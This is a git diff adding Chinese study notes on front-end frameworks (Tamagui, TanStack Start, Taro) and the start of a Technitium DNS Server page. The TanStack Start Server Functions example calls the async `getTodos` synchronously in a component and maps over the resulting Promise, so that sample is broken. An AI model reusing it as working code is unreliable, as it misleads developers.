+  }
+}
+```
+
+Vite / Webpack 有对应插件；暂不支持 Turbopack 时可用 `@tamagui/cli` 预编译。
+
+## 实践案例
+
+### 案例 1：styled 组件 + 主题嵌套
+
+用 `styled()` 定义可复用按钮，颜色全部走 theme token，换主题不用改组件内部：
+
+```tsx
+import { styled, Theme, YStack, Text, Button } from 'tamagui'
+
+const PrimaryButton = styled(Button, {
+  name: 'PrimaryButton',
+  backgroundColor: '$blue10',
+  color: '$blue1',
+  borderRadius: '$4',
+  paddingHorizontal: '$4',
+  paddingVertical: '$2',
+
+  hoverStyle: {
+    backgroundColor: '$blue9',
+  },
+  pressStyle: {
+    backgroundColor: '$blue8',
+    scale: 0.97,
+  },
+
+  variants: {
+    size: {
+      sm: { paddingVertical: '$1', fontSize: '$2' },
+      lg: { paddingVertical: '$3', fontSize: '$5' },
+    },
+  } as const,
+
+  defaultVariants: {
+    size: 'sm',
+  },
+})
+
+export function SettingsScreen() {
+  return (
+    <YStack padding="$4" gap="$3" backgroundColor="$background">
+      <Text fontSize="$6" fontWeight="600" color="$color">
+        设置
+      </Text>
+
+      {/* 默认 light 主题 */}
+      <PrimaryButton size="lg">保存</PrimaryButton>
+
+      {/* 局部切到 dark 子主题，不影响外层 */}
+      <Theme name="dark">
+        <PrimaryButton>深色模式预览</PrimaryButton>
+      </Theme>
+    </YStack>
+  )
+}
+```
+
+要点：
+
+- `name: 'PrimaryButton'` 让该组件可以绑定**组件级主题**（进阶用法）
+- `variants` 是 Tamagui 的变体系统，类似 CVA（class-variance-authority）但跨平台
+- `hoverStyle` / `pressStyle` 在 Web 走 CSS 伪类，在 Native 走 Pressable 状态——同一套 API
+
+### 案例 2：响应式布局 + UI Kit 表单
+
+下面示例展示 `$gtSm` 响应式 prop（大于 sm 断点时生效）和 Tamagui 2 的 Web-first `Input`：
+
+```tsx
+import { useState } from 'react'
+import {
+  XStack,
+  YStack,
+  Input,
+  Label,
+  Button,
+  H2,
+  Paragraph,
+  Separator,
+} from 'tamagui'
+
+export function LoginCard() {
+  const [email, setEmail] = useState('')
+  const [password, setPassword] = useState('')
+
+  return (
+    <YStack
+      maxWidth={400}
+      width="100%"
+      padding="$4"
+      gap="$3"
+      borderRadius="$4"
+      backgroundColor="$background"
+      borderWidth={1}
+      borderColor="$borderColor"
+      // 宽屏时加大内边距——编译器可提取为 @media (min-width: …)
+      $gtSm={{ padding: '$6' }}
+    >
+      <H2 color="$color">登录</H2>
+      <Paragraph color="$color11" size="$3">
+        同一套表单在 iOS、Android、Web 复用
+      </Paragraph>
+
+      <Separator />
+
+      <YStack gap="$2">
+        <Label htmlFor="email">邮箱</Label>
+        <Input
+          id="email"
+          placeholder="you@example.com"
+          autoComplete="email"
+          keyboardType="email-address"
+          value={email}
+          onChangeText={setEmail}
+          size="$4"
+        />
+      </YStack>
+
+      <YStack gap="$2">
+        <Label htmlFor="password">密码</Label>
+        <Input
+          id="password"
+          placeholder="••••••••"
+          secureTextEntry
+          value={password}
+          onChangeText={setPassword}
+          size="$4"
+        />
+      </YStack>
+
+      <XStack gap="$2" marginTop="$2">
+        <Button flex={1} chromeless>
+          注册
+        </Button>
+        <Button flex={1} theme="active">
+          登录
+        </Button>
+      </XStack>
+    </YStack>
+  )
+}
+```
+
+Tamagui 2 的 `Input` 允许写标准 HTML 属性（`autoComplete`、`id`），在 Native 端自动映射为 RN 等价 props——减少 `#ifdef web` 式分支代码。
+
+### 案例 3：Adapt — 同一 Dialog，Web 弹窗 / 手机 Sheet
+
+`Adapt` 是 Tamagui 的「场景切换器」：大屏走 Dialog 居中弹窗，触屏小屏自动换成底部 Sheet——像同一份菜单，堂食用托盘、外卖用打包盒，后厨只炒一次菜。
+
+Tamagui 2 起，`Popover.Sheet` 子组件已拆成独立的 `Sheet`；动画 prop 从 `animation` 改为 `transition`：
+
+```tsx
+import { useState } from 'react'
+import {
+  Adapt,
+  Button,
+  Dialog,
+  Sheet,
+  Paragraph,
+  XStack,
+  YStack,
+} from 'tamagui'
+
+export function ConfirmDelete({ onConfirm }: { onConfirm: () => void }) {
+  const [open, setOpen] = useState(false)
+
+  return (
+    <>
+      <Button theme="red" onPress={() => setOpen(true)}>
+        删除账户
+      </Button>
+
+      <Dialog modal open={open} onOpenChange={setOpen}>
+        <Dialog.Portal>
+          <Dialog.Overlay
+            key="overlay"
+            transition="lazy"
+            opacity={0.5}
+            enterStyle={{ opacity: 0 }}
+            exitStyle={{ opacity: 0 }}
+          />
+          <Dialog.Content bordered elevate key="content" gap="$4" padding="$4">
+            <Dialog.Title>确认删除？</Dialog.Title>
+            <Paragraph>此操作不可撤销，所有数据将被清除。</Paragraph>
+            <XStack gap="$3" justifyContent="flex-end">
+              <Dialog.Close asChild>
+                <Button chromeless>取消</Button>
+              </Dialog.Close>
+              <Button theme="red" onPress={onConfirm}>
+                确认删除
+              </Button>
+            </XStack>
+
+            {/* 触屏 / 窄屏：内容自动「搬进」Sheet */}
+            <Adapt when="max-md" platform="touch">
+              <Sheet modal dismissOnSnapToBottom>
+                <Sheet.Overlay transition="quick" />
+                <Sheet.Handle />
+                <Sheet.Frame padding="$4" gap="$4">
+                  <Adapt.Contents />
+                </Sheet.Frame>
+              </Sheet>
+            </Adapt>
+          </Dialog.Content>
+        </Dialog.Portal>
+      </Dialog>
+    </>
+  )
+}
+```
+
+Native 端建议在入口文件提前 import 官方 setup，否则 Portal / 手势可能异常：
+
+```tsx
+import '@tamagui/native/setup-teleport'        // Dialog / Sheet 挂载
+import '@tamagui/native/setup-gesture-handler' // Sheet 拖拽更顺滑
+```
+
+## 与相关技术怎么选
+
+| 场景 | 建议 |
+|------|------|
+| 已有 Expo + Tailwind 习惯，只要样式工具 | NativeWind 更轻 |
+| 要从零建设计系统 + 三端组件库 | Tamagui 更完整 |
+| 只要 Material Design 风格安卓/iOS | React Native Paper |
+| 已有大量 RN Web 代码，想渐进增强 | 先 `@tamagui/core` 只替换样式层，再逐步引入 UI kit |
+
+Tamagui **不替代** React Native 或 Expo——它站在 RN 组件模型之上。Web 端底层仍依赖 RN Web 的语义（flex 默认纵向、`Text` 包裹文字等），所以同时理解 [React Native Web](./react-native-web.md) 会少踩很多坑。
+
+## 常见坑与排查
+
+1. **类型提示不出来**：`tamagui.config.ts` 里必须 `declare module 'tamagui' { interface TamaguiCustomConfig … }`，且 Provider 只在根入口 import 一次 config，避免热更新循环引用。
+
+2. **Web-only 项目也要装 `react-native` 类型**：当前 prop 自动完成依赖 `@types/react-native` 或 workspace 里的 `react-native` 类型包——运行时 Web bundle 不一定会打进 RN 本体。
+
+3. **编译器没生效**：默认只优化 `components` 配置里列出的模块（通常是 `tamagui` 包和你自己的 `components/` 目录）。App 目录里临时写的 `styled()` 可能仍走运行时插入——把共享组件抽到独立目录。
+
+4. **主题闪烁（FOUC）**：SSR 场景检查 `settings.disableSSR`、确保服务端与客户端 `defaultTheme` 一致；Web 端用编译后的 CSS 变量可避免 hydration 后改色。
+
+5. **动画平台差异**：Tamagui 2 把 `animation` 统一改名为 `transition`；可用 `animatedBy` 按组件选择 Reanimated / CSS / Moti 驱动，编译器据此做更好优化。配置里别忘了 `import { animations } from '@tamagui/config/v5-css'` 并传给 `createTamagui`。
+
+## 学习路径建议
+
+1. **第一天**：`npm create tamagui@latest` 跑通 starter → 改 `tamagui.config` 里的一个 color token → 观察组件变化
+2. **第二天**：读 `styled` + `variants` 文档，把页面里两个重复按钮抽成 styled 组件
+3. **第三天**：加 `Theme` 嵌套实现 dark mode，用 `$gtSm` 做一个响应式两栏布局
+4. **上线前**：按 [Compiler 文档](https://tamagui.dev/docs/intro/compiler-install) 接入 Babel/Metro 插件，对比 bundle 体积与 Lighthouse
+
+## 小结
+
+Tamagui 解决的不是「能不能跨平台」，而是「跨平台之后**还像原生、还好维护**」。记住这张心智图：
+
+```
+tokens（全局常量）→ themes（语义配色，可嵌套）→ styled / UI 组件（开发体验）
+                                    ↓
+                          compiler（构建期压扁抽象）
+                                    ↓
+              Web: div + atomic CSS    Native: View + 提升后的 style 对象
+```
+
+如果你在做 Expo / Next.js + RN Web 的共享 UI 层，Tamagui 值得作为**默认候选**认真评估一轮；若项目只需几个跨端页面，先用 NativeWind 或纯 RN Web 也完全合理。
+
+## 参考链接
+
+- 官网与文档：https://tamagui.dev
+- GitHub：https://github.com/tamagui/tamagui
+- 为什么需要编译器：https://tamagui.dev/docs/intro/why-a-compiler
+- 配置指南：https://tamagui.dev/docs/core/configuration
+- Tamagui 2 发布公告：https://tamagui.dev/blog/version-two
diff --git a/src/content/docs/projects/tanstack-start.md b/src/content/docs/projects/tanstack-start.md
new file mode 100644
index 000000000..c2c388111
--- /dev/null
+++ b/src/content/docs/projects/tanstack-start.md
@@ -0,0 +1,225 @@
+---
+title: TanStack Start 学习笔记
+来源: https://github.com/TanStack/router
+日期: 2026-06-13
+分类: 后端 API
+子分类: frontend-web
+provenance: pipeline-v3
+---
+
+# TanStack Start 学习笔记
+
+## 什么是 TanStack Start
+
+TanStack Start 是一个基于 TanStack Router 构建的全栈 React 框架。
+
+用日常类比来理解：如果把前端框架比作餐厅，那么普通的 React（如 Vite + React）就像是一个只提供厨房的共享空间——你需要自己买锅碗瓢盆（配置路由、数据请求、构建工具）。而 TanStack Start 像是一家"精装厨房餐厅"——它不仅提供厨房，还把路由、数据获取、服务端渲染、类型安全这些常用设备都准备好了，你拎包入住就行。
+
+它是 TanStack 生态系统的一部分，这个生态系统包含：
+
+- **TanStack Router**：类型安全的路由库
+- **TanStack Query**：异步状态和数据缓存
+- **TanStack Form**：类型安全的表单状态
+- **TanStack Table**：无头数据表格
+- **TanStack Start**：把它们全部整合在一起的全栈框架
+
+GitHub 仓库：https://github.com/TanStack/router（14.6k+ Star）
+
+## 核心概念
+
+### 1. 文件系统路由（File-Based Routing）
+
+TanStack Start 使用 `src/routes/` 目录来自动创建路由。文件名就是 URL 路径。
+
+```
+src/routes/
+├── __root.tsx          # 根布局，包裹所有页面
+├── index.tsx           # 首页 (/)
+├── about.tsx           # /about
+├── users/
+│   └── $userId.tsx     # /users/123（动态路由）
+└── fetch-movies.tsx    # /fetch-movies
+```
+
+### 2. SSR（服务端渲染）
+
+页面先在服务器上渲染成 HTML，再发送到浏览器。用户看到页面的速度更快，SEO 也更好。TanStack Start 支持完整的文档 SSR 和流式渲染（streaming）。
+
+### 3. Loader（数据加载器）
+
+每个路由可以定义一个 `loader` 函数，专门用来在页面渲染前获取数据。Loader 是"同构"的——在服务器端渲染（SSR）时运行在服务端，在客户端导航时运行在客户端。
+
+### 4. Server Functions（服务端函数）
+
+定义在服务器端运行的函数，但可以从客户端直接调用。它们提供端到端的类型安全：你在客户端调用服务端函数时，如果参数类型不对，TypeScript 会直接报错。
+
+### 5. 类型安全（Type Safety）
+
+从路由参数到 loader 返回的数据，整个流程都有 TypeScript 类型推导。你不需要手动写类型声明，TanStack Start 会自动推断。
+
+### 6. 混合执行模型（Isomorphic Execution）
+
+代码可以同时在服务端和客户端运行。比如一个 `formatPrice` 函数，在服务端渲染时用一次，客户端导航时再用一次，写法完全一样。
+
+## 项目结构
+
+一个典型的 TanStack Start 项目结构：
+
+```
+/movie-discovery
+├── src/
+│   ├── routes/
+│   │   ├── __root.tsx        # 根布局
+│   │   ├── index.tsx         # 首页
+│   │   └── fetch-movies.tsx  # 电影列表页
+│   ├── types/
+│   │   └── movie.ts          # 类型定义
+│   ├── router.tsx            # 路由器配置
+│   ├── routeTree.gen.ts      # 自动生成的路由树
+│   └── styles.css            # 全局样式
+├── public/                   # 静态资源
+├── vite.config.ts            # 配置
+├── package.json
+└── tsconfig.json
+```
+
+## 代码示例
+
+### 示例一：基础路由与 Loader 获取数据
+
+这里展示如何创建一个电影发现页面。`loader` 负责在页面渲染前从 API 获取数据，`useLoaderData` 让组件拿到这些数据。
+
+```tsx
+// src/routes/fetch-movies.tsx
+import { createFileRoute } from '@tanstack/react-router'
+import type { Movie } from '../types/movie'
+
+// 定义这个路由的 loader，在页面渲染前运行
+export const Route = createFileRoute('/fetch-movies')({
+  loader: async () => {
+    // 从外部 API 获取电影数据
+    const response = await fetch('https://www.omdbapi.com/?s=matrix&apikey=your-api-key')
+    const data = await response.json()
+    return data.Search as Movie[]
+  },
+})
+
+// 组件中使用 loader 返回的数据
+function Movies() {
+  // useLoaderData 会从 Route 的 loader 中自动推断类型
+  const movies = Route.useLoaderData()
+
+  return (
+    <div>
+      <h1>Matrix Movies</h1>
+      <ul>
+        {movies.map((movie) => (
+          <li key={movie.imdbID}>
+            {movie.Title} ({movie.Year})
+          </li>
+        ))}
+      </ul>
+    </div>
+  )
+}
+```
+
+**关键点**：loader 返回的数据会自动通过 TypeScript 传递给组件，不需要手动声明类型。
+
+### 示例二：Server Functions — 从客户端调用服务端代码
+
+Server Functions 让你在不写 API 路由的情况下，直接从客户端调用服务端逻辑。这是 TanStack Start 最强大的特性之一。
+
+```tsx
+// src/utils/server-fn.ts
+import { createServerFn } from '@tanstack/start'
+import { z } from 'zod'
+
+// 定义一个服务端函数，带有输入验证
+export const getTodos = createServerFn({ method: 'GET' })
+  // 输入验证：userId 必须是字符串
+  .inputValidator(z.object({ userId: z.string() }))
+  .handler(async ({ data }) => {
+    // 这里运行在服务端，可以访问数据库、文件系统
+    // 返回 Todo 列表
+    return [
+      { id: 1, title: '学习 TanStack Start', completed: false },
+      { id: 2, title: '写一个 Server Function', completed: true },
+      { id: 3, title: '部署到生产环境', completed: false },
+    ]
+  })
+```
+
+在组件中直接调用服务端函数：
+
+```tsx
+// src/routes/todos.tsx
+import { createFileRoute } from '@tanstack/react-router'
+import { getTodos } from '../utils/server-fn'
+
+export const Route = createFileRoute('/todos')({
+  component: TodosPage,
+})
+
+function TodosPage() {
+  // 直接调用服务端函数！无需配置 API 路由
+  // TypeScript 会自动推断 getTodos 的参数类型和返回类型
+  const todos = getTodos({ data: { userId: 'user-1' } })
+
+  return (
+    <div>
+      <h1>My Todos</h1>
+      <ul>
+        {todos.map((todo) => (
+          <li key={todo.id}>
+            {todo.completed ? '✅' : '⬜'} {todo.title}
+          </li>
+        ))}
+      </ul>
+    </div>
+  )
+}
+```
+
+## 选择 SSR（选择性服务端渲染）
+
+不是所有页面都需要 SSR。TanStack Start 允许你对每个路由精细控制 SSR 行为：
+
+```tsx
+// src/routes/docs/$docType/$docId.tsx
+export const Route = createFileRoute('/docs/$docType/$docId')({
+  validateSearch: z.object({ details: z.boolean().optional() }),
+  // 根据参数决定是否启用 SSR
+  ssr: ({ params, search }) => {
+    if (params.status === 'success' && params.value.docType === 'sheet') {
+      return false  // 这个页面不 SSR
+    }
+    if (search.status === 'success' && search.value.details) {
+      return 'data-only'  // 只服务渲染数据
+    }
+    return true  // 正常 SSR
+  },
+  loader: () => {
+    console.log('仅在服务器执行')
+  },
+  component: () => <div>页面内容</div>,
+})
+```
+
+## 为什么选择 TanStack Start
+
+1. **开箱即用**：路由、SSR、数据获取、类型安全全部集成好了
+2. **类型安全贯穿全栈**：从路由参数到服务端函数返回值，TypeScript 全程保护
+3. **灵活的部署**：支持 Vite 和 Rsbuild，可以部署到 Netlify、Vercel、Cloudflare、Railway 等平台
+4. **生态整合**：与 TanStack Query、TanStack Form 等无缝配合
+5. **渐进式采用**：可以用纯客户端模式，也可以完全启用 SSR
+
+## 总结
+
+TanStack Start 的本质就是把 TanStack 全家桶打包成一个框架。它核心理念是：
+
+- **客户端优先**：页面先在客户端运行，保证交互体验
+- **服务器能力**：在需要时启用 SSR 和服务端函数
+- **类型即文档**：不写额外文档，类型系统就是最准确的文档
+
+对于想要构建类型安全、数据驱动的全栈 React 应用的项目来说，TanStack Start 是一个值得关注的选择。
diff --git a/src/content/docs/projects/taro.md b/src/content/docs/projects/taro.md
new file mode 100644
index 000000000..f65adf498
--- /dev/null
+++ b/src/content/docs/projects/taro.md
@@ -0,0 +1,319 @@
+---
+title: Taro — 一套 React/Vue 代码跑遍小程序与 H5
+来源: https://github.com/NervJS/taro
+日期: 2026-06-13
+分类: 后端 API
+子分类: 移动端
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Taro 是京东凹凸实验室开源的**跨端跨框架**解决方案：你用熟悉的 React 或 Vue 写页面，同一套源码可以编译到微信/支付宝/抖音/京东/百度/QQ/飞书等小程序、H5、React Native，以及鸿蒙等更多平台。日常类比：Taro 像一家连锁餐厅的**中央厨房**——厨师（开发者）只按一份菜谱（React/Vue 代码）炒菜，出餐时自动换成各分店（小程序、H5、App）的盘子和摆盘规范，顾客在各店吃到的仍是同一道菜，不必为每家店单独雇一队厨师。
+
+它和「把网页塞进 WebView」不同。Taro 3 起采用**重运行时**架构：在小程序等环境里模拟 DOM/BOM，让真正的 React 或 Vue 跑起来，再把虚拟 DOM 映射成各端原生视图，因此 Hooks、Context、大部分 npm 生态可以复用。
+
+```bash
+# 安装 CLI 并创建 React + TypeScript 项目
+npm install -g @tarojs/cli
+taro init myApp
+# 选择框架：React / Vue，模板：默认或 TS
+
+cd myApp
+npm run dev:weapp    # 微信开发者工具预览
+npm run dev:h5       # 浏览器预览
+npm run build:weapp  # 生产构建小程序
+```
+
+## 为什么重要
+
+不理解 Taro，以下场景容易选型失误或反复踩坑：
+
+- **业务要「小程序 + H5 + App」三端齐发**：自研三套团队成本极高；Taro 让前端团队用一套 React/Vue 技能栈覆盖主流端
+- **已有 React H5 想进微信生态**：Taro 3 不是简单「语法转译」，而是运行时兼容，迁移 Hooks 组件比 Taro 1/2 时代平滑得多
+- **各小程序 API/组件名不一致**：Taro 以微信规范为基准做统一抽象，`Taro.request`、`@tarojs/components` 屏蔽大部分平台差异
+- **与 uni-app 的取舍**：uni-app 偏 Vue 生态 + DCloud 工具链；Taro 偏 React/Vue 双栈 + 京东系生产验证（京喜、京东购物等），团队技术栈决定选型
+
+## 核心概念
+
+Taro 的技术栈可以拆成六块：
+
+### 1. 编译时 + 运行时双层架构（Taro 3/4）
+
+Taro 1/2 主要靠**编译时**把 JSX 转成各端模板（类似早期 mpvue），难以 100% 兼容 React，也无法用 Vue。Taro 3 改为：
+
+1. 开发者写标准 React/Vue 代码；
+2. **Webpack / Vite** 打包业务与框架；
+3. **运行时**（`@tarojs/runtime`）在目标端维护一棵类 DOM 树；
+4. 框架 reconciler 更新这棵树的节点；
+5. 各端 **Adapter** 把节点变更同步到小程序 `setData`、H5 真实 DOM 或 RN 视图。
+
+类比：不是把中文书逐句翻译成英文（编译替换），而是在国外请一位同声传译（运行时），你继续说中文（写 React），听众听到的是当地语言（各端 UI）。
+
+### 2. 组件与标签：`@tarojs/components`
+
+小程序没有 `div`/`span`，Taro 提供跨端组件：
+
+| Taro 组件 | 小程序侧 | H5 侧（近似） |
+|-----------|----------|----------------|
+| `View` | `view` | `div` |
+| `Text` | `text` | `span` |
+| `Image` | `image` | `img` |
+| `Button` | `button` | `button` |
+| `ScrollView` | `scroll-view` | 可滚动容器 |
+
+样式用 `className` + 类名，或内联 `style` 对象；单位常用 `px`/`rpx`（设计稿 750 宽时 1rpx ≈ 半屏逻辑像素）。
+
+### 3. 路由与页面配置
+
+每个页面是 `src/pages/xxx/index.tsx`，并在 `src/app.config.ts` 注册：
+
+```ts
+export default defineAppConfig({
+  pages: [
+    'pages/index/index',
+    'pages/detail/index',
+  ],
+  window: {
+    navigationBarTitleText: '首页',
+    navigationBarBackgroundColor: '#ffffff',
+  },
+  tabBar: {
+    list: [
+      { pagePath: 'pages/index/index', text: '首页' },
+      { pagePath: 'pages/detail/index', text: '详情' },
+    ],
+  },
+})
+```
+
+单页还可有 `index.config.ts` 覆盖导航栏标题等。类比：小程序的 `app.json` 被收进 TypeScript 配置文件，由 CLI 生成各端所需 JSON。
+
+### 4. 生命周期：React 与小程序的桥接
+
+页面级除了 React 的 `useEffect`，还有 Taro 页面钩子（在函数组件里用 hook 形式）：
+
+- `useLoad` — 页面加载，类似小程序 `onLoad`
+- `useDidShow` / `useDidHide` — 页面显示/隐藏
+- `usePullDownRefresh` — 下拉刷新
+- `useReachBottom` — 触底加载
+
+类组件时代对应 `componentDidShow` 等；新项目推荐函数组件 + Hooks。
+
+### 5. API 统一层：`@tarojs/taro`
+
+网络、存储、导航、设备能力走 `Taro.*`，编译到各端原生 API：
+
+```ts
+import Taro from '@tarojs/taro'
+
+Taro.request({ url: 'https://api.example.com/items' })
+Taro.setStorageSync('token', 'xxx')
+Taro.navigateTo({ url: '/pages/detail/index?id=1' })
+```
+
+条件编译可用 `process.env.TARO_ENV`（`weapp` / `h5` / `rn` 等）写平台分支。
+
+### 6. 插件化与多端扩展
+
+Taro 3+ 插件系统允许扩展新端或改编译链，无需 fork 核心仓库。官方与各厂商维护微信、支付宝、抖音、京东、鸿蒙等 preset；企业可写自定义插件接入内部容器。
+
+## 示例一：函数组件 + Hooks 首页
+
+```tsx
+// src/pages/index/index.tsx
+import { View, Text, Button } from '@tarojs/components'
+import Taro, { useLoad, useDidShow } from '@tarojs/taro'
+import { useState } from 'react'
+import './index.scss'
+
+export default function Index() {
+  const [count, setCount] = useState(0)
+  const [env, setEnv] = useState('')
+
+  useLoad((options) => {
+    console.log('页面参数', options)
+  })
+
+  useDidShow(() => {
+    setEnv(process.env.TARO_ENV ?? 'unknown')
+  })
+
+  const goDetail = () => {
+    Taro.navigateTo({ url: '/pages/detail/index?from=index' })
+  }
+
+  return (
+    <View className="index">
+      <Text className="title">你好，Taro</Text>
+      <Text className="env">当前端：{env}</Text>
+      <Text className="count">点击次数：{count}</Text>
+      <Button onClick={() => setCount((c) => c + 1)}>点我 +1</Button>
+      <Button onClick={goDetail}>去详情页</Button>
+    </View>
+  )
+}
+```
+
+```scss
+// src/pages/index/index.scss
+.index {
+  padding: 40px;
+  .title {
+    font-size: 36px;
+    font-weight: 600;
+    margin-bottom: 24px;
+  }
+  .env, .count {
+    display: block;
+    font-size: 28px;
+    color: #666;
+    margin-bottom: 16px;
+  }
+}
+```
+
+要点：`View`/`Text` 替代 HTML 标签；事件用 `onClick`（H5）在小程序会映射为 `bindtap`；样式文件按页引入，构建时各端做相应处理。
+
+## 示例二：请求数据 + 列表渲染 + 下拉刷新
+
+`index.config.ts` 开启下拉刷新：
+
+```ts
+export default definePageConfig({
+  navigationBarTitleText: '商品列表',
+  enablePullDownRefresh: true,
+})
+```
+
+页面逻辑：
+
+```tsx
+import { View, Text, Image } from '@tarojs/components'
+import Taro, { useLoad, usePullDownRefresh, useReachBottom } from '@tarojs/taro'
+import { useState, useCallback } from 'react'
+
+interface Item {
+  id: string
+  title: string
+  cover: string
+}
+
+export default function ListPage() {
+  const [items, setItems] = useState<Item[]>([])
+  const [page, setPage] = useState(1)
+  const [loading, setLoading] = useState(false)
+
+  const fetchPage = useCallback(async (p: number, replace = false) => {
+    if (loading) return
+    setLoading(true)
+    try {
+      const res = await Taro.request<{ list: Item[] }>({
+        url: `https://api.example.com/items?page=${p}`,
+        method: 'GET',
+      })
+      const list = res.data?.list ?? []
+      setItems((prev) => (replace ? list : [...prev, ...list]))
+      setPage(p)
+    } catch (e) {
+      Taro.showToast({ title: '加载失败', icon: 'none' })
+    } finally {
+      setLoading(false)
+      Taro.stopPullDownRefresh()
+    }
+  }, [loading])
+
+  useLoad(() => fetchPage(1, true))
+
+  usePullDownRefresh(() => fetchPage(1, true))
+
+  useReachBottom(() => fetchPage(page + 1))
+
+  return (
+    <View className="list">
+      {items.map((item) => (
+        <View
+          key={item.id}
+          className="card"
+          onClick={() =>
+            Taro.navigateTo({ url: `/pages/detail/index?id=${item.id}` })
+          }
+        >
+          <Image className="cover" src={item.cover} mode="aspectFill" />
+          <Text className="name">{item.title}</Text>
+        </View>
+      ))}
+      {loading && <Text className="tip">加载中…</Text>}
+    </View>
+  )
+}
+```
+
+这是小程序列表页的常见模式：首屏 `useLoad`、下拉 `usePullDownRefresh`、分页 `useReachBottom`，逻辑与纯微信小程序一致，但写法是 React Hooks。
+
+## 项目结构与常用命令
+
+典型 Taro 4 + React 目录：
+
+```
+myApp/
+├── config/           # 编译配置 index.ts（designWidth、alias、plugins）
+├── src/
+│   ├── app.ts        # 应用入口
+│   ├── app.config.ts # 全局路由与 window
+│   ├── app.scss
+│   └── pages/
+│       └── index/
+│           ├── index.tsx
+│           ├── index.config.ts
+│           └── index.scss
+├── project.config.json   # 微信开发者工具工程（dev:weapp 生成/更新）
+└── package.json
+```
+
+| 命令 | 作用 |
+|------|------|
+| `npm run dev:weapp` | 监听编译，输出到 `dist/`，用微信开发者工具打开 |
+| `npm run dev:h5` | 本地 H5 开发服务器 |
+| `npm run dev:alipay` | 支付宝小程序 |
+| `npm run build:weapp` | 生产构建小程序包 |
+| `taro build --type h5` | 等价于 build h5 |
+
+`config/index.ts` 里 `designWidth: 750` 与 `deviceRatio` 决定 px 转 rpx 的规则，和设计稿宽度要对齐。
+
+## 与相关技术的关系
+
+| 技术 | 关系 |
+|------|------|
+| React / Vue | Taro 是运行时容器，不替代框架；你写的仍是标准组件与 Hooks |
+| 微信小程序原生 | Taro 编译产物可在微信开发者工具运行；复杂场景仍需了解 wx API 差异 |
+| uni-app | 同为跨端方案；uni-app 默认 Vue 语法 + uts，Taro 更偏 React 与京东生态 |
+| React Native | Taro 可编译到 RN 端，但 RN 端生态与调试路径与小程序/H5 不同，需单独验证 |
+| taro-ui | 官方多端 UI 库（`taro-ui@next`），组件在小程序/H5 可用，RN 端支持有限 |
+
+## 常见问题与最佳实践
+
+**样式**：避免依赖大量 Web 专有选择器；flex 布局最稳妥。小程序不支持 `*` 通配部分行为与 H5 不同，关键页要在真机预览。
+
+**包体积**：小程序主包有 2MB 限制（分包可扩）；用分包加载 `subPackages`，图片走 CDN，按需引入组件。
+
+**原生能力**：蓝牙、支付、登录等用 `Taro.*` 或各端插件；无法满足时可用**原生插件**或 `createNativeComponent` 嵌入原生模块。
+
+**状态管理**：Redux、Zustand、MobX 在 Taro 3+ 大多可用；注意持久化用 `Taro.setStorage` 而非 `localStorage`（小程序无 window）。
+
+**调试**：H5 用 Chrome DevTools；小程序用微信开发者工具 + Source Map；多端差异用 `process.env.TARO_ENV` 分支并维护最小差异层。
+
+## 版本演进（读文档时对齐心智）
+
+| 世代 | 思路 | 特点 |
+|------|------|------|
+| Taro 1 | 编译 JSX → 模板 | 类 React，生态难复用 |
+| Taro 2 | 编译 + 部分运行时 | 组件库统一，仍非完整 React |
+| Taro 3 | 重运行时 | 真 React/Vue、Hooks、插件化 |
+| Taro 4 | 延续 3 + 工程现代化 | 更好 Vite 支持、类型与鸿蒙等端扩展 |
+
+学习时以官方文档 [docs.taro.zone](https://docs.taro.zone) 为准；GitHub [NervJS/taro](https://github.com/NervJS/taro) 看 issue 与 release 了解各端适配进度。
+
+## 小结
+
+Taro 解决的是**多端重复建设**：用中央厨房式的统一源码 + 运行时适配，让 React/Vue 开发者进入小程序和 H5 时不必重学一套视图语法。零基础路径建议：先用 `taro init` 跑通 `dev:h5` 和 `dev:weapp` → 熟悉 `@tarojs/components` 与页面配置 → 用 `Taro.request` 和生命周期 Hooks 做一页列表 → 再碰分包、条件编译与原生插件。掌握「运行时映射」这条主线，比死记各端 API 表更能长期维护跨端项目。
diff --git a/src/content/docs/projects/tauri.md b/src/content/docs/projects/tauri.md
index 6f9f0027a..1bf233942 100644
--- a/src/content/docs/projects/tauri.md
+++ b/src/content/docs/projects/tauri.md
@@ -3,7 +3,7 @@ title: Tauri — Rust 写的 Electron 替代，用系统 webview 打包桌面/
 来源: 'https://github.com/tauri-apps/tauri'
 日期: 2026-06-06
 分类: 后端 API
-子分类: 移动端
+子分类: ai-infra
 难度: 中级
 ---
 
diff --git a/src/content/docs/projects/technitium-dns-server.md b/src/content/docs/projects/technitium-dns-server.md
new file mode 100644
index 000000000..388ff7be4
--- /dev/null
+++ b/src/content/docs/projects/technitium-dns-server.md
@@ -0,0 +1,248 @@
+---
+title: Technitium DNS Server — 自托管权威/递归 DNS 与网络过滤
+来源: https://github.com/TechnitiumSoftware/DnsServer
+日期:2026-06-13
+子分类: 网络协议
+分类: 网络协议
+provenance:pipeline-v3
+---
+
+## 是什么
+
+**Technitium DNS Server** 是一款开源、跨平台的 **权威 + 递归 DNS 服务器**，带 Web 管理台和完整 HTTP API。你可以把它装在家里的小主机、树莓派或 VPS 上，让整个局域网（或单台电脑）的域名解析都经过自己控制的节点，而不是直接问运营商或公共 DNS。
+
+日常类比：
+
+- **公共 DNS（8.8.8.8、1.1.1.1）**：像城市里统一的**电话查号台**——谁打来问「某某公司电话多少」，查号台按公开黄页回答；查号台也知道你问了什么（隐私取决于对方政策）。
+- **Technitium DNS Server**：像在你家或公司里设了一个**自己的前台总机**——员工/设备先问总机；总机可以查内部通讯录（权威区）、再去外面查号（递归/转发）、把常见号码记在便签上（缓存）、还能直接拒接骚扰电话（广告/恶意域名拦截）。
+
+默认装好就能用：监听 `53` 端口做 DNS 解析，Web 控制台在 `http://<主机>:5380/`。首次登录默认账号 `admin` / `admin`，**务必立刻改密码**。
+
+官方站点：[technitium.com/dns](https://technitium.com/dns)  
+源码：[TechnitiumSoftware/DnsServer](https://github.com/TechnitiumSoftware/DnsServer)
+
+## 为什么重要
+
+不理解 Technitium，下面几件事很难在一个系统里同时做到：
+
+- **局域网级广告/恶意软件拦截**：订阅 block list URL，服务器每 24 小时自动更新，对匹配域名返回 `0.0.0.0` / `::`（可配 Allowed Zone 白名单例外）
+- **DoT / DoH / DoQ**：在 UDP/TCP 53 之外提供加密 DNS，弥补多数操作系统和应用仍不原生支持加密解析的缺口
+- **开发/测试用权威区**：本地建 `dev.example.com` 等 zone，不必改 hosts 就能模拟生产域名
+- **条件转发（Conditional Forwarder）**：内网 AD DNS、公司 intranet 域名走专用上游，其余走 Cloudflare/Google 或自递归
